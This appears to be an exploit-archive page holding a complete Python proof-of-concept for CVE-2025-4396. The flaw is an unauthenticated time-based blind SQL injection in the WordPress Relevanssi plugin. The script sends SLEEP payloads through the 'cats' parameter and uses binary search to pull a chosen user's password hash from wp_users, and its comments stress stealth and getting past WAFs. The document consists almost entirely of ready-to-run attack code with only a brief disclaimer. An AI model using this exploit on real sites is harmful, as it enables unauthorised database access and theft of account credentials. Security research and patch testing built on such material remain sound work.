5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE_2025_4396_Stealth.py PY
#!/usr/bin/env python3
"""
=============================================================================
CVE-2025-4396 - WordPress Relevanssi SQLi (Binary Search Edition)
=============================================================================
Author:       [n3fhara]
Date:         2026-03-18
Version:      1.0 (Dichotomy/Binary Search Edition)
Target:       WordPress with Relevanssi Plugin (Vulnerable to CVE-2025-4396)

Description:
------------
This Proof of Concept (PoC) exploits an unauthenticated Time-Based Blind SQL 
injection in the Relevanssi plugin (CVE-2025-4396). 

Unlike standard linear extraction, this tool implements a Binary Search 
algorithm (Dichotomy). It drastically reduces the number of HTTP requests 
sent to the target server by evaluating ASCII values with strictly greater 
(>) conditions. This exponentially increases extraction speed while lowering 
the network footprint.

Disclaimer:
-----------
This tool is for educational purposes and authorized Red Team / Purple Team 
assessments ONLY. Do not use against systems you do not own or lack explicit 
permission to test.

Usage:
------
python3 CVE_2025_4396_Stealth.py -t "https://target.local/?s=test&cats=" -u 2 -s 3 -v
=============================================================================
"""

import requests
import time
import urllib3
import argparse
import sys
import logging

# Disable SSL/TLS warnings (useful for local labs and self-signed certificates)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Maximum length for WP 6.8+ hashes (HMAC-SHA384 + Bcrypt)
MAX_HASH_LENGTH = 64

def parse_args():
    """Parse command line arguments."""
    parser = argparse.ArgumentParser(
        description="Binary Search (Dichotomy) PoC for CVE-2025-4396",
        formatter_class=argparse.RawTextHelpHelpFormatter
    )
    parser.add_argument("-t", "--target", required=True, 
                        help="Target URL including vulnerable parameters.\nExample: https://target.local/?s=test&cats=")
    parser.add_argument("-u", "--userid", required=True, type=int, 
                        help="The WordPress User ID to extract the hash from (e.g., 1)")
    parser.add_argument("-s", "--sleep", default=3, type=int, 
                        help="Sleep time threshold in seconds (default: 3)")
    parser.add_argument("-v", "--verbose", action="store_true", 
                        help="Enable verbose debug logging")
    
    return parser.parse_args()

def setup_logger(verbose):
    """Configure the logging module for console output."""
    level = logging.DEBUG if verbose else logging.INFO
    logging.basicConfig(
        level=level, 
        format='[%(asctime)s] [%(levelname)s] %(message)s', 
        datefmt='%H:%M:%S'
    )
    # Reduce noise from underlying HTTP libraries
    logging.getLogger("urllib3").setLevel(logging.WARNING)

def check_boolean(target, user_id, pos, ascii_value, sleep_time):
    """
    Sends a Time-Based SQLi payload to evaluate if the ASCII value of the 
    character at position 'pos' is strictly greater (>) than 'ascii_value'.
    
    Args:
        target (str): The vulnerable URL endpoint.
        user_id (int): Target WP User ID.
        pos (int): The current string index being evaluated.
        ascii_value (int): The ASCII value tested in the dichotomy algorithm.
        sleep_time (int): Threshold in seconds to determine True/False conditions.
        
    Returns:
        bool: True if the sleep occurred (character ASCII is > ascii_value), False otherwise.
    """
    # Core mathematical payload avoiding commas
    payload = f"1) AND (SELECT SLEEP({sleep_time}*(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID={user_id}) FROM {pos} FOR 1))>{ascii_value})))-- -"
    
    # URL Encoding: Crucial step to ensure mathematical operators (>, <, =) pass through WAFs and web servers
    payload_encoded = payload.replace(' ', '%20').replace('>', '%3E').replace('<', '%3C').replace('=', '%3D').replace('*', '%2A')
    
    # Ensure proper URL formatting
    clean_target = target if target.endswith('/') else target + '/'
    if "cats=" in clean_target:
        full_url = clean_target + payload_encoded
    else:
        full_url = f"{clean_target}?s=test&cats={payload_encoded}"
    
    start_time = time.time()
    try:
        # Timeout is slightly higher than sleep_time to handle True responses gracefully
        requests.get(full_url, verify=False, timeout=sleep_time + 5)
        elapsed = time.time() - start_time
    except requests.exceptions.ReadTimeout:
        elapsed = sleep_time + 5
    except requests.exceptions.RequestException as e:
        logging.error(f"Network error: {e}")
        return False

    # ==========================================
    # ANTI-JITTER: Double Verification Phase
    # ==========================================
    if elapsed >= sleep_time:
        start_verify = time.time()
        try:
            requests.get(full_url, verify=False, timeout=sleep_time + 5)
            elapsed_verify = time.time() - start_verify
        except requests.exceptions.ReadTimeout:
            elapsed_verify = sleep_time + 5
            
        return elapsed_verify >= sleep_time
        
    return False

def extract_hash_binary(target, user_id, sleep_time):
    """
    Core extraction loop utilizing a Binary Search algorithm.
    It recursively divides the ASCII table to find the correct character 
    in roughly 7 requests per byte.
    """
    extracted_hash = ""
    logging.info(f"Starting FAST Binary Search extraction for User ID {user_id}...")
    logging.info(f"Target: {target}")
    
    # Warm-up request to stabilize initial network latency
    try:
        requests.get(target, verify=False, timeout=5)
    except:
        pass

    print("\n[+] Fast Extraction in progress:\n")

    for pos in range(1, MAX_HASH_LENGTH + 1):
        # Printable ASCII range: 32 (space) to 126 (~)
        low = 32
        high = 126
        
        # Dichotomy logic
        while low <= high:
            mid = (low + high) // 2
            logging.debug(f"Pos {pos}: Testing if ASCII > {mid} (Range {low}-{high})")
            
            is_greater = check_boolean(target, user_id, pos, mid, sleep_time)
            
            if is_greater:
                # The character ASCII is strictly greater than 'mid'
                low = mid + 1
            else:
                # The character ASCII is lower or equal to 'mid'
                high = mid - 1
                
        # The while loop converges with 'low' holding the exact ASCII value
        found_char = chr(low)
        
        # End of Hash / Empty String validation
        # If low is 32 (space), we double-check if it's the end of the string (NULL)
        if low == 32 and not check_boolean(target, user_id, pos, 31, sleep_time):
            print(f"\n\n[-] Null character detected at position {pos}. End of hash reached.")
            break
            
        extracted_hash += found_char
        
        # Interactive inline output
        sys.stdout.write(f"\rHash: {extracted_hash}\n")
        sys.stdout.flush()

    return extracted_hash

def main():
    """Main execution flow."""
    args = parse_args()
    setup_logger(args.verbose)
    
    try:
        final_hash = extract_hash_binary(args.target, args.userid, args.sleep)
        
        if final_hash:
            print(f"\n\n[!] Extraction complete. Valid Hash: {final_hash}\n")
            sys.exit(0)  # Standard success exit code
        else:
            logging.error("Failed to extract hash. Check if the target is vulnerable.")
            sys.exit(1)  # Standard error exit code
            
    except KeyboardInterrupt:
        print("\n\n[!] Extraction aborted by user.")
        sys.exit(130)  # Standard exit code for SIGINT (Ctrl+C)

if __name__ == "__main__":
    main()